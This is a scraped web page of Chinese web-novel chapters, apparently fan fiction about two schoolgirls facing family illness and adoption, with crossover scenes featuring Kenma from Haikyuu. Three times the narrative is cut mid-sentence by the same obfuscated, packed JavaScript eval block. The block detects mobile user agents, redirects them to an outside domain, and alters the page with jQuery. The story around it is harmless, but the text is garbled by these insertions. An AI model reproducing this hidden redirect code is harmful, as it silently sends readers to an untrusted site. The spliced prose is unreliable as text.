[千流:那我读书了,你注意身体。] [星愿:好。] 沈星愿不对劲,还打算瞒着我。 我一眼就看出来了。 平常我要是说她是猪,就算生病她也会从病床是哪个跳起来,狠狠地跟我打字狂互发消息两百回合从我这里得到了想要的回答,才会罢休,专心养病。 而不是这样根本不理那句小猪,还故作轻松地叫我读书。 语文老师已经站上了讲台。 等午休的时候去找星愿吧,为了方便孩子读书,她的爸妈就在学校附近买了一套房子,现在全家就住在这套房子里。 因此来回也费不了太多时间。 决定好了以后,我专心地看起自己的复习资料。 * 我按响门铃,她几乎下一秒就拉开门。 我和气鼓鼓的星愿面面相觑,她把即将脱口而出的话咽了下去,强行转了个弯。 “千流怎么来了,不是叫你好好学习。” 我脱下鞋子,走进屋,四处张望,沈奶奶也不在家,星愿家里空无一人。 “真是的,我前面不是和你说...” 我摸了摸她的额头,疑惑:“没有发烧啊。” “逃学?” 星愿瞬间炸毛:“我才不会逃学。” “骗我生病了?”我问。 她声音变小:“骗了一下。” 我觉得有些好笑,骗了一下是什么说法,她还想骗几下。 我娴熟地走到厨房倒了两杯热水,一杯放到她的面前:“哭了?” 她掩耳盗铃别过头,闷声回答:“才没有。” 我了然,看来是真哭了。 星愿的爸妈从来不打骂她,所以优先排除家庭矛盾这一选项;难道是因为考差了?我摇摇头,虽然星愿也非常好强,但她最近几次考试的成绩都蛮好的。 “奶奶呢?” 她听到我的询问,抿起嘴,一声不吭。 良久,她说:“在医院。” “前几天突然觉得很难受,查了一下发现是乳腺癌。” 我轻声:“是叔叔阿姨不让你去看她吗?我们一起去。” “我已经去看过了。”她低头,“我是真的因为感冒才没有去学校。” 星愿奶奶从小就很照顾我,我的心里也很不是滋味,不过年纪大的人遇上这种病一般会选择保守治疗。 都是因为最近几天白天一直忙着留学有关的事情,都不知道星愿奶奶生病了,也没有去看望过...... “你再七想八想我就揍你了。”她突然在我眼前挥了挥拳头,“奶奶也叫我不要告诉你,都是想要你好好备考,所以我不准你往自己身上想。” “知道了。”就算是这么说,我也会抽空去看星愿奶奶的。 我还是觉得有些不对劲,既然是前几天的事情,但星愿几天前一直有去上学,总不会真的是因为感冒哭的。 “叔叔阿姨呢?” “当然是在照顾奶奶。”我分辨她的话语,“既然奶奶查出这个病了,你和阿姨应该有去检查一下吧。” 她合拢外套:“查过了,什么事都没有。” 我静默,问道:“是不是阿姨也有事?” 她红着眼眶看我一眼:“下次不许把你的脑袋用在推断我说的话上面。” “我也不确定,他们两个最近很奇怪。”她喝了口水,“我妈把自己的检查报告藏了起来,我爸好像在卖房产,听到他和别人在打电话。” 我捏了捏她的手,轻声说道:“那就去直接问问他们,我们小孩虽然帮不上什么忙,但也该有知情权对吧。总比在这里瞎猜好。” “你说的对。”她擦拭眼角,“千流,你那些打工的渠道也跟我说一下。” “很累的。”我坦然地说。 “要是我家没钱了。”她说,“那我也该赚钱帮妈妈和奶奶治病。” 我静静地望着她,突然揉乱她的头发,不顾星愿的挣扎,把她扣在自己的怀里:“好了,阿姨一定会没事的。” 要是这种狗血的故事发生在我朋友身上,我一定会觉得命运是非常不公平的东西,专挑好心的人下手。 “我也蛮有钱的...” 她唰地一下把头从我的怀里抽出来,敲了我一下:“不许说这种话,你要去读书。” “你可以养活自己,我也可以养活自己,江千流,你是不是觉得我做不到。” 有时候真的想不明白星愿的脑袋瓜是怎么长的,我解释:“叔叔阿姨还有奶奶都帮了我很多。” “才没有。”她强硬地说道,“她们什么都没帮你。” 见过往自己身上揽功的,没见过把功劳都扔掉的。 “好啦,我们不要在这里瞎猜了。”我眨眨眼,“直接去问他们,怎么样?” “那等你放学我们再一起去。” 我把准备发送的请假申请又删掉了,看来星愿对我去读书这件 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14995265|161580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事有超强的执念。 * 湖州中心医院的大门前,两位猫猫祟祟的女生引起了护士的注意。 一位穿着米白色大衣,另一位穿着黑色大衣,两个人都戴着黑色墨镜,彰显着“我很特殊”的气质,她看到两人东张西望,想要走上前问她们需要什么帮助。 事实上,她也走上去了。 米白色大衣的小姑娘拉了拉黑色大衣女孩的衣角,不自在地抬了抬眼睛:“我说,星愿。这不是掩耳盗铃吗。” “哪有,我伪装地可好了,这样绝对不会被爸爸妈妈认出来。” 原来是偷偷看望父母的孩子。 护士心领神会,走上前去:“请问两位女士需要什么帮助吗。” 黑色大衣的女孩洋洋自得,碎碎念:“看见没,护士姐姐叫我们女士,说明这身装扮很成熟。” 另一位米白色大衣的女孩脸上写满了难以置信,就差没有直说“你不觉得我们两个很可疑吗”。 护士姐姐很配合,告诉她们住院区在哪,还询问需不需要指路。 身穿黑色大衣的星愿连连摆手:“谢谢您,不用了。” 她跟旁边的女孩说道:“这样不会声势浩大,不容易被发现。” 旁边的女孩回答:“你开心就好。” * “星愿?”戴着墨镜的星愿一出现就被妈妈认出了,她拉起星愿的手,“你怎么来了。” 沈星愿憋了一路,跟千流嬉笑玩闹故作轻松,却在看见妈妈的第一眼就憋不住自己的眼泪,眼泪溢满眼眶,她止住妈妈询问的话,“我才没哭。” 嘴硬。 我在一旁心道。 “妈妈,你是不是有事骗我。” “哪里有。”星愿妈妈给她递了张纸。 “那你为什么把报告单藏起来,还一直往医院跑。” 星愿妈妈愣神,温柔地笑着:“你看到了呀。” 妈妈承认了。 一时间,那些不好的想法通通涌上心头,沈星愿的眼泪很快又酝酿了起来,星愿妈妈连忙说道:“是良性,不要担心,妈妈做个手术就好了。” “报告单。” “你这孩子,还不相信妈妈。”星愿妈妈无奈地笑了,从身旁的包里拿出报告单,“看看?” 沈星愿一目十行地扫视报告单,终于如释重负,她撇嘴:“谁叫你打算骗我的,那我怎么相信你。” “这不是怕你担心吗...” “你不说我才会更担心,而且我们是一家人,这种事情也该让我一起面对吧。” “好好,星愿小大人。”星愿妈妈忙把水龙头小孩的眼泪擦干,“现在放心了吗?” “没有。”星愿刨根问底,“爸爸为什么要卖房子。” “爸爸卖的是别的地方的房产,奶奶不是生病了吗。”她温声细语,“我们想给她换尽可能好的医疗条件,所以需要一大笔钱,但是这些爸爸妈妈都负担得起。” 她眨眨眼:“所以星愿和千流。” 我突然被叫到,立马从依靠着墙的状态直起了身:“阿姨。” “你们两个,最重要的事就是专心读书。千流留学的事情找老师问过了吗?” 我目移,今天忙着担心星愿,都忘了要跟孙老师咨询。 “问过了。” “那就好。”她身后的星愿看了我一眼,显然发现我在骗人。 “现在你们两个都快点回去上晚自习。”千流妈妈拍拍我们的脑袋。 我们齐声:“没有问题。” * 在星愿的扣押下,一回到学校我就带着自己的资料来到了孙老师的办公室。 她仔仔细细地翻遍了我的材料:“都准备得很不错。” “但是可能还需要父母有关的材料,千流。” 我问道:“一定到吗?” “毕竟你们是法律意义上的收养关系。”孙老师说,“如果你不愿意联系的话,老师有他们的联系方式。” “不用了,孙老师。”我抬起头,朝她露出笑容,“我可以自己和他们联系。” 21.狐狸成长日记 03 * 信誉良好的游戏测评员千流今日毅然决然地旷工了。 她躺在游戏舱旁边的小床上,双手合十贴合着身体平躺,眼睛愣愣地望着天花板。 然后把另一侧的枕头拍在自己脸上,试图将自己闷死,无果。 [所以为什么在老师说要帮忙联系的时候下意识地拒绝了] [然后只能一个人去别人家。] 她看向手机,对方早在一小时前就回复[没有问题,最近过得好吗] 她什么都没有回。 别人常说在心情不好的时候就要给自己找点别的事情做,比如玩游戏。 但今天千流完全不想打开游戏舱。 因为自己的心情实在是太差了。 带着这样的心情做什么事都不会成功,更可能把坏情绪传递给别人,还不如自己消化。 她的视线在手机与天花板徘徊,最后面朝天花板闭上眼。 ——睡一觉就好了。 * 梦里还是天花板。 不是天花板,是湛蓝的天空,她还不能完全睁开眼,摇摇晃晃地看着蔚蓝的天空,那是她对世界最初的印象。 她记事很早。 在看到这一幕的时候,她就意识到自己在做梦了,接下来会发生的所有事情她都记得一清二楚。 她看着天空发呆,一位妇女突然出现在视线里,她构成了自己对母亲最初的印象。 温柔。 她慌慌张张地把她连同那个摇篮一起捞起,念叨着“这么小的孩子”,把她抱回了家。 “你就叫千流吧。” 她咿咿呀呀地叫着,彼时还不知道这个名字的寓意,乐呵乐呵地看着自己的妈妈。 她对她很好,在所有的故事里,这算是一个相当不错的开始,被遗弃的孩子有了归宿,新的妈妈是个温柔善良的人。 新的爸爸。 他拿着拨浪鼓,摇摇晃晃地逗弄她,却在她要伸手握住拨浪鼓的时候拿开了。 “我们现在养了她,以后有自己的孩子怎么办?” 婴儿床里的千流懵懂地停止了叫嚷。 氛围变得严肃,即使是小孩子也识时务地闭起嘴。 “我们一直没有孩子。”李韵为难地说道,“那次我们检查的结果出来了。” 她的步伐渐渐远离,“呲呀”的抽屉声传来,她递给对方一张检测报告:“医生说,你…患有弱精症,就是说我们很难有孩子。” 她小心翼翼打量着对方,抱起孩子:“她是上天给我们的恩赐,我们没有自己的孩子,但是可以收养她,以后她就是我们的孩子……” [上天的恩赐]头一回被举得这么高,没有人关注她啃着自己的手指,她咬住自己的手指头,好奇地从这个高度张望四周。 男人闷坐在椅子上,捂住头:“你让我想想。” 他们最后还是收养了千流,从此她就有爸爸和妈妈了,爸爸姓江,于是她就叫江千流。 她顺顺利利地长到了七岁,妈妈对她很好,即使她一开始就记得自己不是她的亲生女儿,所以这样的好更加珍贵。 她听话,从来不哭,没有特别想要的东西,每一份关心都足够珍贵。 但爸爸越来越奇怪了。 他每次看向她,都好像不在看她,总是看了一会就别过头,带着对自己的愤恨。 他开始断断续续地工作,酗酒,喝醉了不会打妈妈,但是会窝囊地让妈妈不要管她了,所以妈妈只是很悲伤地望着他。 直到有一天,妈妈拉起他的时候,被他一把推开,酒瓶被抛掷到她的脚边,这是她第一次想要离开。 她也确实离开了。 那时候她八岁。 妈妈拉着行李箱离开家,她小心翼翼的扒着门缝看着她即将远去,她回过头看了最后一眼,看见了偷看的一声不吭的她。 不知道想了些什么,她站在门口,还是回过头,打开门,抱住了她。 千流知道她不是自己的亲生妈妈。 街巷里的阿婆说“拖油瓶”,她不敢跟着妈妈,因为怕成为她的拖油瓶,酗酒的爸爸很可怕,她也不想他成为自己的爸爸了,只要妈妈走,她就会离开爸爸。 不管到哪里都行,总有她待的地方。 但妈妈回来带走了她。 当她把千流抱在怀里的时候,千流在心里悄悄地说着“只要你不抛弃我”。 你就是我永远的妈妈。 所以她一点都不怨李韵,在一开始,她是一个合格的养母,把她拉出了那个房间。 她也确确实实地成为了一个拖油瓶。 妈妈想有个家,有一个属于自己的家。 但婚恋市场对一个有女儿的母亲来说一点都不友好。外公外婆让她把她扔掉,但妈妈拒绝了。 好在妈妈的温柔被另一个人看到,他们在一起,结婚,有了自己的家,生孩子,有了自己的女儿。 她真心因为妈妈获得幸福而幸福。 但每次妈妈看向自己的时候,那份幸福都蒙上悲伤。 她又长一岁之后,才从书本里知道什么叫做经济压力,养小孩的费用昂贵,妈妈只是一个文化水平不高的人,从事纺织,一个月三千五;叔叔是小摊贩,一个月五千。 这些钱要养一家四口,还有四个长辈的生病需要的费用。 但这都没关系,她们是一家人,她可以帮妈妈一起赚钱,故事书里面都是这么写的,只要是一家人,没有什么是不能一起面对的。 但她被“忘记”了。 不管多少次,星愿都会说这不是“忘记”,而是“遗弃”。 那段日子并不好过,她在知道自己被忘记之后,想要找份工作,但合法的工作都不收童工,她只能到偷偷收小孩的好心老板那里干活,她还想上学,不能这样一直干活。 想要靠自己赚钱,常常吃了上顿没下顿,她没钱到别的地方住,所以每天晚上回家。 一个星期之后,妈妈推开了家里的大门,看到她意识到了什么,第一眼是愧疚,第二眼是什么呢? 千流觉得是遗憾。 遗憾她没有自己选择离开。 没有人向她道歉,她也意识到了自己和他们不是真正的家人,他们是妈妈的家人,但不是她的。 她曾经下定决心,只要妈妈不抛弃她,她就不会离开妈妈。但这次妈妈心里的天平又倾向着抛弃她。 千流下定决心,这次她绝对不会再被抛弃了。 她决定自己离开。 她的同学沈星愿悄悄看到了这些事,想要让她的爸妈收养她,但她不同意。 她不会真正被[接纳]。 还会让原本幸福的家庭蒙上阴影。 付出善意是需要承担责任,当责任变成负担的时候,值得留恋的感情也不复存在了。 她记下每一笔费用,等自己有钱了就去偿还。 理所当然,她的离开没有被在意,在某天的中秋节,李韵找到了她的号码。 [你过得好吗] [我过得很好] [那就好] 她过得不好。 她不知道为什么自己怎么做都会被抛下,不知道自己怎么获得幸福,也不知道怎么给别人带来幸福。 很长一段时间,她浑浑噩噩地打工,读书,读着书,读着书里别人传达的明媚阳光,却感觉不在另一个世界。 她做不到[释怀]。 过去的一切都难以忘怀。 她知道人心易变,但不明白为什么大家会想要改变,明明故事里面都说好了,只需要持之以恒和坚持,没有克服不了的困难和无法抵达的幸福结局。 * 我尝试摸了摸梦境里千流的脑袋。 即使迷茫你也会走向很好的未来,所以不要怀疑自己,坚定地走下去。 * 我睁开眼,在梦里把过往都重历一遍,把思绪都黏成一团。 用沾水的湿冷毛巾糊自己一把,才能明晰那已经是过往的事情了。 我看着昨天准备好的挂在衣柜上的新衣服,突然觉得没有那么重要了,随意拿了两件休闲服穿在身上,把散着的头发束高。 给我开门的是她。 我已经很久没有见过她了,恍惚间我觉得她突然变得有些矮,或许是我长高了。 她开口,我抢先回答。 “我过得蛮好的。” “这次来是想要您帮我签一些材料。” 我利落地把材料放在她的面前,还递上笔。 我看着她一声不吭地签字,把笔合上后又欲言又止地看着我。 “对不起。” 我算不清我们之间的糊涂账。 她捡了我,把我养大,把我从养父的身边带走;又选择让我离开。 她短暂地成为了我的妈妈。 我叹气,拿出另一份材料,那是我查了数据后得知的养大一个孩子到八岁所需的金钱。 “我会把这些钱还你,如果有空的话。” “我们找个时间把收养协议解除吧。” 她像是不知道该说些什么,只一味说着对不起。 我顿了顿:“我不觉得你和我之间有什么好说对不起的,谢谢你把我捡回来。我先走了,下次我们把材料都带齐一起去办理手续。” 我转身打算离开。 她拉住我的手,让我再等等,随后从房间拿出一个整洁的篮子:“这是捡到你的时候,装着你的篮子和布。我是在千流江里捡到你的。” 所以我叫千流。 在很久以前我就知道这件事了。 “如果你想要找你的亲生父母,希望这些东西能帮上忙。” 我并没有找他们的打算。 但还是把篮子收下了。 * 我倚靠在底楼的墙壁上,提起空荡荡的小篮子看了一眼,盯着地板想事情。 突然被人拽了一下,我抬起头。 沈星愿站在我的面前,她的头抬得高高的,小嘴眨巴眨巴就开始输出:“还说我逃课,你今天也不来。” “我请假了。” 她一噎:“我也请假了。” “我的请假理由不是骗人的。” 她闷闷:“我就骗了一点。” “你站在这提着这个篮子要干嘛,不会是那个人用这个篮子就把你打发走了吧,她怎么……” 我被她一连串的话冲昏脑袋,连忙叫停:“你怎么知道我在这。” “找老师要了你养母的地址。” “她怎么会给你。”老师又不是不知道星愿的性格,万一她上门跟人家吵架呢。 她骄傲:“我说你会哭,我急着来安慰你。” 我歪头,凑近:“我哭了吗?” 她擦拭了我的眼角,干涸的,表情严肃:“你的眼泪都哭干了。” 我笑得前俯后仰,这回是真的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14996990|161580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被逗出了泪花:“我们好像在演偶像剧,星愿。” “上次是娇纵大小姐,这次又是偶像剧,你以后去当演员吧。”她还是对我手上不明的篮子念念不忘,“所以这个是什么。” 我向她解释了一遍。 她好看的脸一下嫌弃地皱作一团,撇了那个篮子一眼:“有什么好拿着的。” 不过还是让我把它拿在手中,拽着我空着的另一只手。 “痛痛痛,你要把我带去哪里啊。” “带去卖掉。”沈大小姐恶狠狠地说。 * [凶神恶煞]的沈大小姐把我拽到了花店,店员被她凶神恶煞的表情吓了一跳,轻声问道:“客人,你是来买花的吗。” 另一只手已经预判地往白菊花那里伸去。 大小姐意识到了不对劲,她做好了表情管理,扬起嘴角:“我不要那个。” 她问:“你们的花篮在哪里?” 店员向她展示了各种形状的花篮。 “这个太笨重了。”她不满意地看着长方形的花篮。 “这个太普通了。”她向前走去,捧起一个星星状的花篮,将它提起来回看了个遍。 “这个不错,还是星星形状的,沾了我名字的光。” 真的代入大小姐的人设了。 我看着呆呆望着她的店员,捂住脸。 “店员姐姐,你们店有没有什么花语大全的书,给我挑一下。” “没有这种书呢,不过我可以给您一一粗略地介绍一下。” “这是康乃馨,一般是送给母亲的。” 星愿漫不经心紧张地看了我好几眼,看得我很想告诉她,我完全没有感觉。 她急急忙忙让店员姐姐介绍下一个。 “这是洋甘菊,是很坚韧的一种花,象征着逆境中的坚强。” 星愿摇头:“不好。” “诶,为什么。” “以后没有逆境。”她像是说给我听的,我笑了笑,接受星愿别扭的祝福。 “小苍兰?是幸福的象征哦。” 她斟酌了一下:“还有别的吗?” 店员不愧是金牌销售员,一下从她的停顿中得到了方向。 “铃兰呢?幸福的降临,没有阴霾的纯粹的幸福。” 沈大小姐颇为满意地点点头:“那就把店里的铃兰花都包起来!” 她大手一挥,我心脏直跳。 我看着店员发光的眼睛,摁住星愿,凑在她耳边:“你下个月的零花钱都要花光了,把这些都买了。” “而且花篮也装不下这么多。” 沈大小姐的手一颤,轻咳一声:“那就买能把这个花篮装满的铃兰花吧。” 店员姐姐捂着嘴偷笑:“好的,这就包起来。” * 我左手一个花篮,右手一个篮子,就像要沿路撒花的花童。 周围人们的视线炽热地要把人灼烧。 我稍微有些不好意思,侧身看向星愿。 她简直跟光合作用的植物一样,别人投来的视线越明显,她的脑袋扬得更高,就像高傲的孔雀。 孔雀啄了啄我:“我送的花怎么样。” 憋了一路到我家才问送的花怎么样。 我笑着捧起:“是我见过最美的花了。” 她满意点头。 “你知道我为什么要送你花吗。” 我振声:“星愿希望我驱散过往阴霾,获得未来的幸福。” “大错特错!!” 看来错得真的很离谱,星愿都气得跺起脚,我连忙诚恳请教。 “首先,不是希望,是你一定会做到。” “另外,花语什么的只是祝愿,不然全世界送红玫瑰的人那么多,每一对都能永远在一起了。” “我送你星星的花篮,是想要你以后看到篮子……”她提高音量,故作镇静,“都要想起我,是我送给你超漂亮的花篮,而不是那个破破的小篮子,这个才应该装千流,明白?” “……你怎么不傲娇了。” 她的目光要把我千刀万剐,露出[你就想说这些]的表情。 我忙摆手:“不是那个意思。” 我有些口不择言,宕机:“啊…我就是突然不知道该说什么,感动地不知道说什么…你能明白吗?” 她叉腰:“那我给你一会时间仔细想想。” “我不在意那个篮子,好吧,说实话,刚拿到的时候还有些在意,现在是真的一点都不在意了。” 我提着手中的星星花篮,那天蔚蓝天空的夜晚一定悬挂着很多灿烂的星星,只不过我在很久之后才能看见。 “我真的很感谢星愿。” 她恼火:“我不要你的谢谢。” “你想我以后好好的。” 像被戳中了心思,她一下子瘪了,闷着什么也不说。 我立正,朝星愿敬了个礼:“星愿长官!!!” 由于我喊得太大声,楼道里都有回声,星愿被吓了一跳,她支支吾吾:“你…你要干嘛!” “保证完成任务!” “我给你什么任务了?” “我过得幸福,星愿也过得开心的任务!” 她脸红:“你胡扯!” “啊……”我焉了下去,“真的不是这个吗。” 她按动我的密码锁,把我放了进去,气鼓鼓:“是是是!早点睡吧你。” 风一般溜走了。 22.研磨猫猫养成手札 16 * “嘶!” 我专心致志地紧盯电视屏幕,全息游戏里的番是现实世界里没有的,最近我迷上的这部是《转生成为异世界大佬》,为此我霸占了研磨房间常年不会被使用的电视。 我的小指被冰得一哆嗦,控诉般抬头望向研磨。 “抱歉。”他晃了晃可乐罐,放在了我手够得着的地方,坐在另一个懒人沙发里。 电视上,异世界大佬正攻略着他前世的白月光,我好奇从沙发上把头探出:“研磨,你现在已经高中一年级了。” 我挤眉弄眼:“有没有喜欢的女孩子。” 他低头专心拉开易拉罐:“好八卦,千流。” “居然不正面回答,研磨。”我敏锐,眯起眼睛,“看来真的有情况。” 研磨喝着可乐,轻瞥我一眼:“我都没有认识的女生。” “难道从石头里蹦出来一个喜欢的对象吗。” “对吼。”研磨国中的时候被小黑拉到排球部,高中又被忽悠去,除了训练就是读书,加上他不愿和别人交流,谈过话的女孩都屈指可数。 我忽然想起:“不对啊,我记得国中有一次……” 在研磨危险的目光下,我讪讪把没有说完的话咽了回去。 归根结底,那次[孤爪研磨的生存危机],是我一手促成的。 * 一切都要从那个铆钉手环说起。 头一个意识到这个手环不对劲的是我们的小黑同学,但是他当时正全心全意投入八卦行为,因此忽视了第一眼的异样感。 而研磨,或许是因为平时游戏里这类元素过于常见,他本人也不觉得有任何的异样,遂大摇大摆地戴着这个手环走进了学校。 今天感受到的视线格外多,研磨心想,一边把自己的帽檐拉低了。 尤其是风纪委员,他的眼神犹为纠结,就像在判断他是否违反校规。 他加快了走去班级的步伐。 一进班,几位聚众讨论事情的同学稍瞥他一眼后,纷纷停下对话,愣了几秒后又装作若无其事地收回目光。 研磨在阴暗的教室角落叹气。 到底是什么地方出了问题,怎么今天所有人看他的眼神都那么复杂。 简直是从路人npc转换为了大众瞩目的主角。 如果可以的话,他都想跟前座的浅井同学借一个镜子。 难道昨天跟千流玩游戏,输了的人要被对方在脸上画乌龟,自己忘记洗脸了吗? 他抬头,下意识看了眼浅井同学举起的镜子。 …… 果然很不对劲吧。 他在镜子里看到浅井同学慌慌张张挪开的视线。 研磨深吸一口气,打算趁着课间趴在桌子上大睡一觉,或许一觉醒来发现身边的人都变正常了。 他刚想趴下,视线里的桌子出现了一团阴影,研磨抬头,稍微辩识了一番。 双麻花辫配上眼镜,还有有些怯懦的眼神。 不,现在三川同学的眼神变得狂热起来。 研磨往后缩了缩:“有什么事吗?” 据他所知,三川同学是典型的文学少女,喜好自己写小说,疑似会在班上的同学身上取材,最爱取材的对象应该是她的前座浅井同学。 三川同学对长得好看的取材对象都会多加观察,例如注重自身形象的浅井同学。 不过三川同学和浅井同学从未说过话。 想远了。 研磨拽回自己的思绪,现在需要猜测的是三川同学为什么跟他对话。 自己虽然长得还算可以,但隔着这么长又厚的头发,加上自己一直都是低头走路,真的有人看得见他的脸吗? 三川同学放低音量:“孤爪同学……” “请务必告诉我你是以什么样的心情选中了这个手环!” 哈?! 研磨素日平静的瞳孔此时剧烈地震动,他缓缓低头,看向自己手上那个闪闪发亮的铆钉手环,可能是系统的材质特殊,戴在手上几乎没有重量。 霎时间,他对上了三川同学的电波,也有些知晓她所创作的文学作品的类型…… 研磨微微张口,摆手打算解释。 浅井同学突然转过头,用看知音般的表情看向三川同学,站起身,握住她的双手。 “三川同学!!” 三川同学看着浅井眼中发着光,偏过头,耳垂发红着连连后退,说话都磕巴了。 “在…,在。” “你也觉得那个黑色的手环很衬肤色对吧,显得手腕很白皙,不过可能是因为孤爪同学很少出教室本身就白,啊,原来如此。” 研磨在心里淡淡反驳,他不出门是因为懒,绝不是为了美白。 不过他确实也不想成为黑炭。 他的脑海里浮现某个暑假黑尾和母亲去某个阳光充裕的地方度假归来,碳一般的脸只看得到八颗白亮的大牙。 那样实在可怕。 不过,三川同学绝不是因为这个来询问他的,或许是把自己也加入某个素材库了。 研磨看着两位不对频的女生,下一秒,磕磕巴巴的三川同学很快整理好了自己的紧张,她坚定:“没错,我就是这么觉得的。” 研磨露出豆豆眼。 不,你绝不是这么认为。 总之,三川完全被自来熟的浅井同学牵着走,浅井热情地跟她交流了些搭配的技巧,例如各种五花八门的色彩搭配,撞色如何吸睛。 而三川同学则一时嘴快,完全暴露了自己平时都有在观察浅井同学的搭配(虽然只是用作素材库)。 但旁听的研磨都觉得有些痴汉,把人家每天的穿搭都记得一清二楚,怎么样都很奇怪吧! 果然,热情地浅井同学卡壳了,她迟疑:“三川同学居然记得我穿的每一件衣服吗。” 三川连忙招手,找补:“不,我完全不是痴汉,也没有怪癖,只是因为…” 浅井合掌:“是因为我的搭配太亮眼了,对吧!” 她完全没有往奇怪的方向想,而是沾沾自喜地表示自己的搭配有人欣赏真是太好了。 又是阳角的光辉。 研磨觉得完全是自己多虑了,他趴下,抓住时机补觉。 * 一觉醒来,站着的三川同学已经离去,理子老师站在讲台上准备开始讲课,逃过一劫的研磨轻轻地前后摇着椅子。 前座热情的浅井同学幽幽地转过头,她轻声细语:“孤爪同学,我们居然没有加过line。” 她疑惑:“我以为把班上的同学都加了个遍。” 研磨在心里哈哈一笑。 当然是因为自己在众人广加好友的时候就悄悄溜走了。 这时候拒绝好友申请反而会引起她的注意吧。 研磨抬眸悄悄看了低头拨弄手机的浅井同学一眼,她心情很好,在加了好友之后应该就能结束这次的话题。 “呀。”浅井和研磨在老师的视野盲区互加了line,浅井低头打字:< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15017420|161580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>[孤爪同学,你的头像是你养的猫猫吗,好可爱。] 猫猫? 研磨看了眼自己的头像,与画面里的三花猫对视一番,他已经不记得是什么时候用上这个头像了。 [不是,是路上拍的。] [OKOK,不打扰你听课了,孤爪同学。] 危机暂时解除。 研磨轻呼一口气,看了看自己的手环,最终还是没有把它摘下,只是把袖子又拉长了些。 * “抱歉抱歉。”我笑得前俯后仰,连电视里的番都被我抛在脑后了,这回轮到研磨用控诉的目光看着我。 那次确实算得上研磨的生存危机,我得知的时候已经是好多天后,他虽然把布灵布灵发光的铆钉手环藏在了袖子里,但免不了意外的到来。 ——比如说在排球部集体训练的时候,没有袖子的掩护,跳起来接球时,手上的手环反射太阳的光线,晃到训练赛对手的眼睛,对方表示这难道是他们的新战术吗。 我得知这一切后,一边不厚道地笑着,一边询问研磨:“你为什么不把它先摘下来呢?” 他静静注视着我,像在后悔,很后知后觉地说了句:“忘了。” 没想到研磨会在这种事情上翻车。 我绝对会把这件事记一辈子的。 不过为了让这个定位器发挥它应得的作用,我还是对它进行了一番改造。 比如把它的材质从闪亮的皮质变成了哑光的质感,还把一排铆钉拆掉了。 我满意地看着研磨把新手环套在了手上。 然而很快,翻车的研磨也火速对我展开了制裁。 某次任务成功,系统颁布的奖励是满足研磨一个小小的愿望。 这个奖励过于模糊。 我怂恿研磨:“要成为百亿富翁!” 系统拒绝:“这个奖励太大了。” “不中用了。”我指责系统。 “那十万,五万?” 研磨说:“可以是能直接和千流面对面吗。” 我诧异,莫非我和研磨的友情值已经高到他迫不及待地想要见到我。 嘛嘛,毕竟我这么好友遍地,研磨这样也能理解,我也会跟系统美言几句让它们早日开发这种功能。 研磨就像知道我会脑补什么一样,他轻笑:“这样千流就不能偷偷笑我,扮鬼脸,或者说奇怪的话。” 我斥责:“我怎么可能会干这种事。” 我一直都是光明正大地笑,扮鬼脸,和说奇怪的话。 总而言之,我就是这样被制裁了。 系统假模假样地为了符合我的设定,在升级了之后给了一份美瞳,让我叫研磨戴上,美瞳的瞳色和研磨的一模一样,戴在眼睛上也一下就消融了。 我朝研磨招招手。 研磨和过去一样,依然看不见我。 我疑惑,嘟囔着我要投诉。 研磨拿起桌上的冰可乐,突然凑近我,轻轻贴在我的小指头上,又光速离开。 我被冻得哇哇大叫,一下反应过来。 “孤爪研磨!” 他眨眼,故作无辜。 我郎心似铁:“幼稚鬼!” 可乐的气泡声随着易拉罐扣的脆响爆开在空气中,他眼瞳中映出的不再是摸不着的风,而是有些张牙舞爪的我。 研磨像是想起了很远很远的事情,而我也奇异地对上了他的电波,他食指轻敲易拉罐的上端,将我的话奉还: “顽皮鬼。” 23.研磨猫猫养成手札 17 * 看肥皂剧果然应该配上噼里啪啦的可乐,衬托碰撞的剧情。 我向研磨伸手。 他抱着可乐离我更远了。 “碰到手指都会觉得冷。”他的视线落在电视上,但并不专心,“还要喝?” “谁都会被冻到好嘛,研磨怎么越来越像小黑,非常[妈妈辈]”为了证明我所说的属实,我悄摸摸把手够到可乐罐,迅雷不及掩耳之势贴上研磨的小指头。 他静静地抬头凝视我。 我咋舌:“你怎么什么反应都没有。” “所以我能喝,千流不能喝。”他一通歪理。 在我移开视线之后,研磨的小指微乎其微地蜷缩了一下,被冻过的指尖微微发烫,他扣住可乐罐。 “千流呢。” 嗯? 我愣神,转过头,一边想着这次追剧体验非常碎片化,改天再找时间补一遍。 “我怎么了?” 他漫不经心:“千流有喜欢的人吗?” 哈?? 我东张西望,不知道研磨怎么突然这么八卦,摸着自己的一簇刘海:“研磨怎么突然问这个?” “千流自己突然问我这种问题,我为什么不能问回去?” 说的也是。 